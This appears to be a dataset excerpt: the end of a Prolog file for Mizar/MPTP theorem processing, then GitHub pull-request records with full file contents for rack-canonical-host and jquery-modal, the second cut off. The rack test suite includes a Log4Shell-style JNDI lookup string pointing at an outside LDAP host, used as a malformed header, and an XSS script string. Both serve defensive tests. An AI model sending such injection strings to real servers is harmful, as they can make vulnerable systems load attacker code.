!,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_level(Lev1, Id)),\n\tassert_newlevel(RestInfo, Article, Id).\nassert_level(_,_,_,_).\n\n%% this keeps the article, because toplevel theorem from MML\n%% have nontrivial newlevels which we want to avoid.\nassert_newlevel([inference(mizar_proof,[proof_level([H|T])|_],_)|_], Article, Id):- !,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_newlevel(Lev1, Article, Id)).\nassert_newlevel(_,_,_).\n\n%% this differs from assert_newlevel only for efficiency of indexing -\n%% it is called at different place.\nassert_cluster_newlevel([proof_level([H|T])|_],Article,Id):- !,\n\tlevel_atom([H|T],Lev1),\n\tassert(fof_newlevel(Lev1, Article, Id)).\nassert_cluster_newlevel(_,_,_).\n\n\nassert_rc_syms(RCl, Fla, File):-\n\tstrip_univ_quant(Fla, (? [Var : Radix] : sort(Var, Attrs) ), _),\n\tconstr2list('&', _Last, AndList, Attrs),!,\n\tprocess_attrsmode_list_for_cons(AndList, ConsAttrs0, _),\n\tcreate_cons_info(ConsAttrs0, Radix, [ConsMode, FuncsNr, AttrsNr, FuncSyms, AttrSyms]),\n\tassert(rc_syms_for_consider(RCl, File, ConsMode, FuncsNr,\n\t\t\t\t\t  AttrsNr, FuncSyms, AttrSyms)).\n\n%% ###TODO: requiring all rc symbols seems to be too restrictive, and\n%%   probably leads to incompleteness of e3_41__waybel33, due to\n%%   lack of rc3_waybel19; the right condition is that all symbols\n%%   involved in rc's universally quantified variables (i.e. those on which\n%%   the last existantial var depends) have to be already present in the problem,\n%%   and probably also the radix mode (with possible functors inside);\n%%   this could however get quite wild, and we should probably watch the set\n%%   of constants and variables in the problem, and only add to the fixpoint algo\n%%   those attributes which appear in their types; also we shouldn't add an rc\n%%   when it only takes care of a const/var type which is already taken care of\nassert_syms(rcluster,Ref1,_,_,Fla1,File1,Id,LogicSyms,_,Spc):- !,\n\t    collect_symbols_top(Fla1,AllSyms),\n\t    subtract(AllSyms,LogicSyms,Syms),\n\t    assert(fof_cluster(File1,Ref1,Syms)),\n\t    assert_fxp_data(Ref1,File1,rcluster,Syms),\n\t    assert_rc_syms(Ref1, Fla1, File1),\n\t    assert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(definition,_,definition,[],Fla1,_,Id,_,_,_):-\n\tstrip_univ_quant(Fla1, ( KTerm = _), _),\n\tnonvar(KTerm),\n\tKTerm =..[KFun|_],\n\tatom_chars(KFun,[k|_]),\n\tassert(fof_eq_def(KFun, Id)),!.\n\nassert_syms(definition,_,definition,[],Fla1,_,Id,_,_,_):-\n\tstrip_univ_quant(Fla1, ( sort(Var,STerm) <=> _), _),\n\tvar(Var),\n\tnonvar(STerm),\n\tSTerm =..[SFun|_],\n\tatom_chars(SFun,[v|_]),\n\tassert(fof_sort_def(SFun, Id)),!.\n\nassert_syms(_,Ref1,definition,[],_,_,Id,_,Sec1,[redefinition(_,_,_,Sec2)|_]):-\n\tassert(fof_redefines(Sec1, Sec2, Ref1, Id)).\n\n%% ###TODO: take the symbols from the UnivVars also for clusters (definitions?)\nassert_syms(identifyexp,Ref1,_,_,Fla1,File1,Id,LogicSyms,_,Spc):- !,\n\tstrip_univ_quant(Fla1, Fla2, UnivVars),\n\tstrip_possible_antecedent(Fla2, ( KTerm = _)),\n\tcollect_symbols_top([KTerm | UnivVars], AllSyms),\n\tsubtract(AllSyms,LogicSyms,Syms),\n\tassert(fof_identifyexp(File1,Ref1,Syms)),\n\tassert_fxp_data(Ref1,File1,identifyexp,Syms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(fcluster,Ref1,_,_,Fla1,File1,Id,_,_,Spc):- !,\n\tcl_needed_syms_top(Fla1,AnteSyms),\n\tassert(fof_cluster(File1,Ref1,AnteSyms)),\n\tassert_fxp_data(Ref1,File1,fcluster,AnteSyms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(ccluster,Ref1,_,_,Fla1,File1,Id,_,_,Spc):- !,\n\tcl_needed_syms_top(Fla1,AnteSyms),\n\tassert(fof_cluster(File1,Ref1,AnteSyms)),\n\tassert_fxp_data(Ref1,File1,ccluster,AnteSyms),\n\tassert_cluster_newlevel(Spc, File1, Id).\n\nassert_syms(theorem,Ref1,_,_,Fla1,File1,_,LogicSyms,_,_):-\n\tmember(File1,[numerals, boole, subset, arithm, real]),!,\n\tcollect_symbols_top(Fla1,AllSyms),\n\tsubtract(AllSyms,LogicSyms,Syms),\n\tassert(fof_req(File1,Ref1,Syms)),!,\n\tonce(assert_fxp_data(Ref1,File1,req,Syms)).\n\nassert_syms(_,_,_,_,_,_,_,_,_,_) :- !.\n\n%% Adds a link from a Symbol to Requirements containing\n%% that Symbol. When the symbol becomes available in fixpoint,\n%% all counts (implemented as flags) of Refs are decreased,\n%% and if they reach zero, the Refs are activated.\n%% sym_ref_graph(Symbol,Reqs)\nassert_fxp_data(Ref,File,MKind,AnteSyms):-\n\tchecklist(assert_sym_ref_link(Ref),AnteSyms),\n\tlength(AnteSyms,SymsLength),\n\tassert(fof_ante_sym_cnt(Ref,File,MKind,SymsLength)).\n\nassert_sym_ref_link(Ref,Sym):- assert(sym_ref_graph(Sym,Ref)).\n\n%% Initialize the symbol counters for each references registered\n%% by fof_ante_sym_cnt. Intended for fixpoint.\ninit_fxp_sym_flags:-\n\trepeat,\n\t(\n\t  fof_ante_sym_cnt(Ref,_File,_MKind,SymsLength),\n\t  flag(Ref,_,SymsLength),\n\t  fail\n\t;\n\t  true\n\t).\n\n%% decrease_fxp_sym_flags(+NewSyms, -ZeroedRefs)\n%%\n%% Decrease the fxp symbol counts (flags) for references\n%% containing NewSyms.\n%% Return the references which were zeroed.\ndecrease_fxp_sym_flags(NewSyms, ZeroedRefs):-\n\tmaplist(decrease_fxp_sym_flags1,NewSyms,Refs_l),\n\tappend_l(Refs_l,ZeroedRefs).\n\ndecrease_fxp_sym_flags1(NewSym, ZeroedRefs):-\n\tfindall(Ref,\n\t\t(\n\t\t  sym_ref_graph(NewSym,Ref),\n\t\t  flag(Ref,N,N-1),\n\t\t  N=1\n\t\t),\n\t\tZeroedRefs).\n\nfraenkel_ths(S):-\n\tfindall(A,(fof(A,theorem,D,_,_),collect_symbols_top(D,L),\n\t\t   member(all,L)),S),\n\tlength(S,N),write(N).\n\nfraenkel_info(S1):-\n\tfraenkel_ths(S),\n\tfindall([Out,Info],(member(A,S),fof(A,theorem,In,_,_),\n\t\t\t all_collect_top(In,Out,Info)),S1).\n\nexpanded_franks(Flas,D):-\n\tfraenkel_info(S),\n\tzip(Flas,Infos1,S),\n\tappend_l(Infos1,Infos),\n\tmk_fraenkel_defs_top(Infos,NewFrSyms,D),\n\tlength(D,N1), maplist(length,NewFrSyms,Lengths),\n\tsumlist(Lengths,N2),\n\tmaplist(collect_symbols_top,Flas,L),\n\tunion1(L,[],L2),length(L2,N3),write([N1,N2,N3]).\n\ndotimes(_,0).\ndotimes(X,N) :- N1 is N-1, (call(X);true), dotimes(X,N1).\n\n\n%%%%%%%%%%%%%%%%%%%% Prolog clauses for the type system %%%%%%%%%%%%%%%%%%%%\n\n% ##TEST: :- declare_mptp_predicates,load_mml,install_index,!, fof_cluster(A,B,C),fof(B,D,E,F,[mptp_info(_,_,ccluster,_,_)|_]),not(once(ccluster_to_clauses(E,J))).\n\n% ccluster_to_clauses(+CCl, -L)\n%\n% Print ccluster as Prolog clauses.\n% Prune from Conseq the things present in Antec\n% ![ArgTypes]: ![LastVar:Typ] : sort(LastVar,(AntecedentConjunct)) => sort(LastVar,ConsequentConjunct)\n% ArgTypes non empty followed by loci\n\n\nccluster_to_clauses(! QVars: (![V:T]: (sort(V,Antec) => sort(V,Conseq))), L):- !,\n\tappend(QVars, [V:T], QVars1),\n\tccluster_to_clauses(! QVars1: (sort(V,Antec) => sort(V,Conseq)), L).\n\nccluster_to_clauses(! QVars: (sort(V,Antec) => sort(V,Conseq)), L):- !,\n\tsort_transform_qlist(QVars, Varlist, QConjunct),\n\tsort_transform_top(sort(V,Antec), AntecConjunct),\n\tsort_transform_top(sort(V,Conseq), ConseqConjunct),\n\tBody = (QConjunct & AntecConjunct),\n\tpair_conj_to_clauses(Body, ConseqConjunct).\n\n\n% ##TEST: :- declare_mptp_predicates,load_mml,install_index,!, fof_cluster(A,B,C),fof(B,D,E,F,[mptp_info(_,_,fcluster,_,_)|_]),not(once(fcluster_to_clauses(E,J))).\n\nfcluster_to_clauses( sort(T,Conseq), L):- !,\n\tfcluster_to_clauses(! []: sort(T,Conseq), L).\n\nfcluster_to_clauses( ! QVars: sort(T,Conseq), L):- !,\n\tsort_transform_qlist(QVars, Varlist, Body),\n\tsort_transform_top(sort(T,Conseq), ConseqConjunct),\n\tpair_conj_to_clauses(Body, ConseqConjunct).\n\npair_conj_to_clauses(Body, ConseqConjunct):-\n\tconstr2list2(&,_,BodyList,Body),\n\tconstr2list2(&,_,HeadList,ConseqConjunct),\n\tnumbervars([HeadList,BodyList],0,_),\n\tsubtract(HeadList,BodyList,NewHeadList),\n\tfindall(dummy,(member(H,NewHeadList), write(H), write(' :- '), print_many(BodyList),write('.'),nl),_).\n\n\n% \"fof(\"; absk(#el=`.`,#kind=\"fc\"); \",theorem,\";\n%     apply[ArgTypes];\n%     $succ = { `count(Cluster[1]/*)`; }\n%     $srt_s; \"(\"; apply[*[$pres + 2]];  \",\";\n%     if [$succ = 0] { \"$true\"; } else {\n%     if [$succ = 1] { apply[Cluster[1]]; }\n%     else { \"( \"; apply[Cluster[1]]; \" )\"; } }\n%     \")\"; \",file(\"; lc(#s=`@aid`); \",\";\n%     absk(#el=`.`,#kind=\"fc\"); \"),[mptp_info(\"; `@nr`;\n%     \",[],fcluster,position(0,0),[\";\n\n\n\n% \"![\"; ploci(#nr=$l); \" : \"; apply[Typ]; \"]: (\";\n%     $ante = { `count(*[$pres + 2]/*)`; }\n%     $succ = { `count(*[$pres + 4]/*)`; }\n%     $srt_s; \"(\"; ploci(#nr=$l); \",\";\n%     if [$ante = 0] { \"$true\"; } else {\n%     if [$ante = 1] { apply[*[$pres + 2]]; }\n%     else { \"( \"; apply[*[$pres + 2]]; \" )\"; } }\n%     \")\"; $imp_s; $srt_s; \"(\"; ploci(#nr=$l); \",\";\n%     if [$succ = 0] { \"$true\"; } else {\n%     if [$succ = 1] { apply[*[$pres + 4]]; }\n%     else { \"( \"; apply[*[$pres + 4]]; \" )\"; } }\n%     \"))\"; \",file(\"; lc(#s=`@aid`); \",\";\n\n\n"}}
{"repo": "tylerhunt/rack-canonical-host", "pr_number": 69, "title": "fix: return 400 if uri is bad", "state": "closed", "merged_at": "2024-03-15T14:29:16Z", "additions": 35, "deletions": 4, "files_changed": ["lib/rack/canonical_host.rb", "spec/rack/canonical_host_spec.rb"], "files_before": {"lib/rack/canonical_host.rb": "require 'rack'\nrequire 'rack/canonical_host/redirect'\nrequire 'rack/canonical_host/version'\n\nmodule Rack\n  class CanonicalHost\n    def initialize(app, host=nil, options={}, &block)\n      self.app = app\n      self.host = host\n      self.options = options\n      self.block = block\n    end\n\n    def call(env)\n      host = evaluate_host(env)\n      redirect = Redirect.new(env, host, options)\n\n      if redirect.canonical?\n        app.call(env)\n      else\n        redirect.response\n      end\n    end\n\n  protected\n\n    attr_accessor :app\n    attr_accessor :host\n    attr_accessor :options\n    attr_accessor :block\n\n  private\n\n    def evaluate_host(env)\n      block and block.call(env) or host\n    end\n  end\nend\n", "spec/rack/canonical_host_spec.rb": "RSpec.describe Rack::CanonicalHost do\n  let(:app_response) { [200, { 'content-type' => 'text/plain' }, %w(OK)] }\n  let(:inner_app) { ->(env) { response } }\n\n  before do\n    allow(inner_app)\n      .to receive(:call)\n      .with(env)\n      .and_return(app_response)\n  end\n\n  def build_app(host=nil, options={}, inner_app=inner_app(), &block)\n    Rack::Builder.new do\n      use Rack::Lint\n      use Rack::CanonicalHost, host, options, &block\n      run inner_app\n    end\n  end\n\n  shared_examples 'a matching request' do\n    context 'with a request to a matching host' do\n      it { should_not be_redirect }\n\n      it 'calls the inner app' do\n        expect(inner_app).to receive(:call).with(env)\n        call_app\n      end\n    end\n  end\n\n  shared_examples 'a non-matching request' do\n    context 'with a request to a non-matching host' do\n      it { should redirect_to('http://example.com/full/path') }\n\n      it 'does not call the inner app' do\n        expect(inner_app).to_not receive(:call)\n        call_app\n      end\n\n      it { expect(response).to_not have_header('cache-control') }\n    end\n  end\n\n  context '#call' do\n    let(:url) { 'http://example.com/full/path' }\n    let(:headers) { {} }\n\n    let(:app) { build_app('example.com') }\n    let(:env) { Rack::MockRequest.env_for(url, headers) }\n\n    def call_app\n      app.call(env)\n    end\n\n    subject(:response) { call_app }\n\n    it_behaves_like 'a matching request'\n\n    it_behaves_like 'a non-matching request' do\n      let(:url) { 'http://www.example.com/full/path' }\n    end\n\n    context 'when the request has a pipe in the URL' do\n      let(:url) { 'https://example.com/full/path?value=withPIPE' }\n\n      before do\n        env['QUERY_STRING'].sub!('PIPE', '|')\n      end\n\n      it { expect { call_app }.to_not raise_error }\n    end\n\n    context 'when the request has JavaScript in the URL' do\n      let(:url) { 'http://www.example.com/full/path' }\n\n      let(:app) { build_app('example.com') }\n\n      it 'escapes the JavaScript' do\n        allow_any_instance_of(Rack::Request).to receive(:query_string).\n          and_return '\"><script>alert(73541);</script>'\n\n        expect(response)\n          .to redirect_to('http://example.com/full/path?%22%3E%3Cscript%3Ealert(73541)%3B%3C/script%3E')\n      end\n    end\n\n    context 'with an X-Forwarded-Host' do\n      let(:url) { 'http://proxy.test/full/path' }\n\n      context 'which matches the canonical host' do\n        let(:headers) { { 'HTTP_X_FORWARDED_HOST' => 'example.com:80' } }\n\n        it_behaves_like 'a matching request'\n      end\n\n      context 'which does not match the canonical host' do\n        let(:headers) { { 'HTTP_X_FORWARDED_HOST' => 'www.example.com:80' } }\n\n        it_behaves_like 'a non-matching request'\n      end\n    end\n\n    context 'without a host' do\n      let(:app) { build_app(nil) }\n\n      it_behaves_like 'a matching request'\n    end\n\n    context 'with :ignore option' do\n      context 'with lambda/proc' do\n        let(:app) {\n          build_app(\n            'example.com',\n            ignore: ->(uri) { uri.host == 'example.net' }\n          )\n        }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n\n      context 'with string' do\n        let(:app) { build_app('example.com', ignore: 'example.net') }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n\n      context 'with regular expression' do\n        let(:app) { build_app('example.com', ignore: /ex.*\\.net/) }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n    end\n\n    context 'with :if option' do\n      context 'with a lambda/proc' do\n        let(:app) {\n          build_app(\n            'www.example.com',\n            if: ->(uri) { uri.host == 'example.com' }\n          )\n        }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://example.com/full/path' }\n\n          it { should redirect_to('http://www.example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://api.example.com/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n\n      context 'with string' do\n        let(:app) { build_app('www.example.com', if: 'example.com') }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://example.com/full/path' }\n\n          it { should redirect_to('http://www.example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://api.example.com/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n\n      context 'with a regular expression' do\n        let(:app) { build_app('example.com', if: '.*\\.example\\.com') }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://www.example.com/full/path' }\n\n          it { should_not redirect_to('http://example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://www.example.net/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n    end\n\n    context 'with a :cache_control option' do\n      let(:url) { 'http://subdomain.example.net/full/path' }\n\n      context 'with a max-age value' do\n        let(:app) {\n          build_app('example.com', cache_control: 'max-age=3600')\n        }\n\n        it {\n          expect(response).to have_header('cache-control').with('max-age=3600')\n        }\n      end\n\n      context 'with a no-cache value' do\n        let(:app) { build_app('example.com', cache_control: 'no-cache') }\n\n        it { expect(subject).to have_header('cache-control').with('no-cache') }\n      end\n\n      context 'with a false value' do\n        let(:app) { build_app('example.com', cache_control: false) }\n\n        it { expect(subject).to_not have_header('cache-control') }\n      end\n\n      context 'with a nil value' do\n        let(:app) { build_app('example.com', cache_control: false) }\n\n        it { expect(subject).to_not have_header('cache-control') }\n      end\n    end\n\n    context 'with a block' do\n      let(:app) { build_app { 'example.com' } }\n\n      it_behaves_like 'a matching request'\n\n      it_behaves_like 'a non-matching request' do\n        let(:url) { 'http://www.example.com/full/path' }\n      end\n\n      context 'that returns nil' do\n        let(:app) { build_app('example.com') { nil } }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n      end\n    end\n  end\nend\n"}, "files_after": {"lib/rack/canonical_host.rb": "require 'rack'\nrequire 'rack/canonical_host/redirect'\nrequire 'rack/canonical_host/version'\n\nmodule Rack\n  class CanonicalHost\n    def initialize(app, host=nil, options={}, &block)\n      self.app = app\n      self.host = host\n      self.options = options\n      self.block = block\n    end\n\n    def call(env)\n      host = evaluate_host(env)\n      redirect = Redirect.new(env, host, options)\n\n      begin\n        return redirect.response unless redirect.canonical?\n      rescue Addressable::URI::InvalidURIError\n        return [400, { Rack::CONTENT_TYPE => \"text/plain\", Rack::CONTENT_LENGTH => \"0\" }, []]\n      end\n\n      app.call(env)\n    end\n\n  protected\n\n    attr_accessor :app\n    attr_accessor :host\n    attr_accessor :options\n    attr_accessor :block\n\n  private\n\n    def evaluate_host(env)\n      block and block.call(env) or host\n    end\n  end\nend\n", "spec/rack/canonical_host_spec.rb": "RSpec.describe Rack::CanonicalHost do\n  let(:app_response) { [200, { 'content-type' => 'text/plain' }, %w(OK)] }\n  let(:inner_app) { ->(env) { response } }\n\n  before do\n    allow(inner_app)\n      .to receive(:call)\n      .with(env)\n      .and_return(app_response)\n  end\n\n  def build_app(host=nil, options={}, inner_app=inner_app(), &block)\n    Rack::Builder.new do\n      use Rack::Lint\n      use Rack::CanonicalHost, host, options, &block\n      run inner_app\n    end\n  end\n\n  shared_examples 'a matching request' do\n    context 'with a request to a matching host' do\n      it { should_not be_redirect }\n\n      it 'calls the inner app' do\n        expect(inner_app).to receive(:call).with(env)\n        call_app\n      end\n    end\n  end\n\n  shared_examples 'a non-matching request' do\n    context 'with a request to a non-matching host' do\n      it { should redirect_to('http://example.com/full/path') }\n\n      it 'does not call the inner app' do\n        expect(inner_app).to_not receive(:call)\n        call_app\n      end\n\n      it { expect(response).to_not have_header('cache-control') }\n    end\n  end\n\n  context '#call' do\n    let(:url) { 'http://example.com/full/path' }\n    let(:headers) { {} }\n\n    let(:app) { build_app('example.com') }\n    let(:env) { Rack::MockRequest.env_for(url, headers) }\n\n    def call_app\n      app.call(env)\n    end\n\n    subject(:response) { call_app }\n\n    it_behaves_like 'a matching request'\n\n    it_behaves_like 'a non-matching request' do\n      let(:url) { 'http://www.example.com/full/path' }\n    end\n\n    context 'when the request has a pipe in the URL' do\n      let(:url) { 'https://example.com/full/path?value=withPIPE' }\n\n      before do\n        env['QUERY_STRING'].sub!('PIPE', '|')\n      end\n\n      it { expect { call_app }.to_not raise_error }\n    end\n\n    context 'when the request has JavaScript in the URL' do\n      let(:url) { 'http://www.example.com/full/path' }\n\n      let(:app) { build_app('example.com') }\n\n      it 'escapes the JavaScript' do\n        allow_any_instance_of(Rack::Request).to receive(:query_string).\n          and_return '\"><script>alert(73541);</script>'\n\n        expect(response)\n          .to redirect_to('http://example.com/full/path?%22%3E%3Cscript%3Ealert(73541)%3B%3C/script%3E')\n      end\n    end\n\n\n    context 'when the app happens to have an invalid uri error' do\n      before do\n        allow(inner_app)\n          .to receive(:call)\n          .with(env)\n          .and_raise(Addressable::URI::InvalidURIError)\n      end\n\n      it 'explodes as expected' do\n        expect { call_app }.to raise_error(Addressable::URI::InvalidURIError)\n      end\n    end\n\n    context 'with an X-Forwarded-Host' do\n      let(:url) { 'http://proxy.test/full/path' }\n\n      context 'which matches the canonical host' do\n        let(:headers) { { 'HTTP_X_FORWARDED_HOST' => 'example.com:80' } }\n\n        it_behaves_like 'a matching request'\n      end\n\n      context 'which does not match the canonical host' do\n        let(:headers) { { 'HTTP_X_FORWARDED_HOST' => 'www.example.com:80' } }\n\n        it_behaves_like 'a non-matching request'\n      end\n\n      context 'which is an invalid uri' do\n        let(:headers) { { 'HTTP_X_FORWARDED_HOST' => '[${jndi:ldap://172.16.26.190:52314/nessus}]/' } }\n\n        it { should_not be_redirect }\n\n        it { expect(response[0]).to be 400 }\n\n        it 'does not call the inner app' do\n          expect(inner_app).to_not receive(:call)\n          call_app\n        end\n\n        it { expect(response).to_not have_header('cache-control') }\n      end\n    end\n\n    context 'without a host' do\n      let(:app) { build_app(nil) }\n\n      it_behaves_like 'a matching request'\n    end\n\n    context 'with :ignore option' do\n      context 'with lambda/proc' do\n        let(:app) {\n          build_app(\n            'example.com',\n            ignore: ->(uri) { uri.host == 'example.net' }\n          )\n        }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n\n      context 'with string' do\n        let(:app) { build_app('example.com', ignore: 'example.net') }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n\n      context 'with regular expression' do\n        let(:app) { build_app('example.com', ignore: /ex.*\\.net/) }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n\n        context 'with a request to an ignored host' do\n          let(:url) { 'http://example.net/full/path' }\n\n          it { should_not be_redirect }\n\n          it 'calls the inner app' do\n            expect(inner_app).to receive(:call).with(env)\n            call_app\n          end\n        end\n      end\n    end\n\n    context 'with :if option' do\n      context 'with a lambda/proc' do\n        let(:app) {\n          build_app(\n            'www.example.com',\n            if: ->(uri) { uri.host == 'example.com' }\n          )\n        }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://example.com/full/path' }\n\n          it { should redirect_to('http://www.example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://api.example.com/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n\n      context 'with string' do\n        let(:app) { build_app('www.example.com', if: 'example.com') }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://example.com/full/path' }\n\n          it { should redirect_to('http://www.example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://api.example.com/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n\n      context 'with a regular expression' do\n        let(:app) { build_app('example.com', if: '.*\\.example\\.com') }\n\n        context 'with a request to a matching host' do\n          let(:url) { 'http://www.example.com/full/path' }\n\n          it { should_not redirect_to('http://example.com/full/path') }\n        end\n\n        context 'with a request to a non-matching host' do\n          let(:url) { 'http://www.example.net/full/path' }\n\n          it { should_not be_redirect }\n        end\n      end\n    end\n\n    context 'with a :cache_control option' do\n      let(:url) { 'http://subdomain.example.net/full/path' }\n\n      context 'with a max-age value' do\n        let(:app) {\n          build_app('example.com', cache_control: 'max-age=3600')\n        }\n\n        it {\n          expect(response).to have_header('cache-control').with('max-age=3600')\n        }\n      end\n\n      context 'with a no-cache value' do\n        let(:app) { build_app('example.com', cache_control: 'no-cache') }\n\n        it { expect(subject).to have_header('cache-control').with('no-cache') }\n      end\n\n      context 'with a false value' do\n        let(:app) { build_app('example.com', cache_control: false) }\n\n        it { expect(subject).to_not have_header('cache-control') }\n      end\n\n      context 'with a nil value' do\n        let(:app) { build_app('example.com', cache_control: false) }\n\n        it { expect(subject).to_not have_header('cache-control') }\n      end\n    end\n\n    context 'with a block' do\n      let(:app) { build_app { 'example.com' } }\n\n      it_behaves_like 'a matching request'\n\n      it_behaves_like 'a non-matching request' do\n        let(:url) { 'http://www.example.com/full/path' }\n      end\n\n      context 'that returns nil' do\n        let(:app) { build_app('example.com') { nil } }\n\n        it_behaves_like 'a matching request'\n\n        it_behaves_like 'a non-matching request' do\n          let(:url) { 'http://www.example.com/full/path' }\n        end\n      end\n    end\n  end\nend\n"}}
{"repo": "kylefox/jquery-modal", "pr_number": 311, "title": "fix style conflict", "state": "open", "merged_at": null, "additions": 2358, "deletions": 10, "files_changed": ["gulpfile.js", "jquery.modal.css", "jquery.modal.min.css"], "files_before": {"gulpfile.js": "var gulp = require('gulp');\nvar uglify = require(\"gulp-uglify\");\nvar uglifycss = require(\"gulp-uglifycss\");\nvar rename = require('gulp-rename');\nvar changelog = require('gulp-conventional-changelog');\n\ngulp.task('min', function() {\n  gulp.src('jquery.modal.js')\n    .pipe(uglify({preserveComments: 'license'}))\n    .pipe(rename('jquery.modal.min.js'))\n    .pipe(gulp.dest('.'));\n});\n\ngulp.task('css', function() {\n  gulp.src('jquery.modal.css')\n    .pipe(uglifycss())\n    .pipe(rename('jquery.modal.min.css'))\n    .pipe(gulp.dest('.'));\n});\n\ngulp.task('changelog', function() {\n  gulp.src('CHANGELOG.md')\n    .pipe(changelog())\n    .pipe(gulp.dest('.'));\n});\n", "jquery.modal.css": ".blocker {\n  position: fixed;\n  top: 0; right: 0; bottom: 0; left: 0;\n  width: 100%; height: 100%;\n  overflow: auto;\n  z-index: 1;\n  padding: 20px;\n  box-sizing: border-box;\n  background-color: rgb(0,0,0);\n  background-color: rgba(0,0,0,0.75);\n  text-align: center;\n}\n.blocker:before{\n  content: \"\";\n  display: inline-block;\n  height: 100%;\n  vertical-align: middle;\n  margin-right: -0.05em;\n}\n.blocker.behind {\n  background-color: transparent;\n}\n.modal {\n  display: none;\n  vertical-align: middle;\n  position: relative;\n  z-index: 2;\n  max-width: 500px;\n  box-sizing: border-box;\n  width: 90%;\n  background: #fff;\n  padding: 15px 30px;\n  -webkit-border-radius: 8px;\n  -moz-border-radius: 8px;\n  -o-border-radius: 8px;\n  -ms-border-radius: 8px;\n  border-radius: 8px;\n  -webkit-box-shadow: 0 0 10px #000;\n  -moz-box-shadow: 0 0 10px #000;\n  -o-box-shadow: 0 0 10px #000;\n  -ms-box-shadow: 0 0 10px #000;\n  box-shadow: 0 0 10px #000;\n  text-align: left;\n}\n\n.modal a.close-modal {\n  position: absolute;\n  top: -12.5px;\n  right: -12.5px;\n  display: block;\n  width: 30px;\n  height: 30px;\n  text-indent: -9999px;\n  background-size: contain;\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-image: 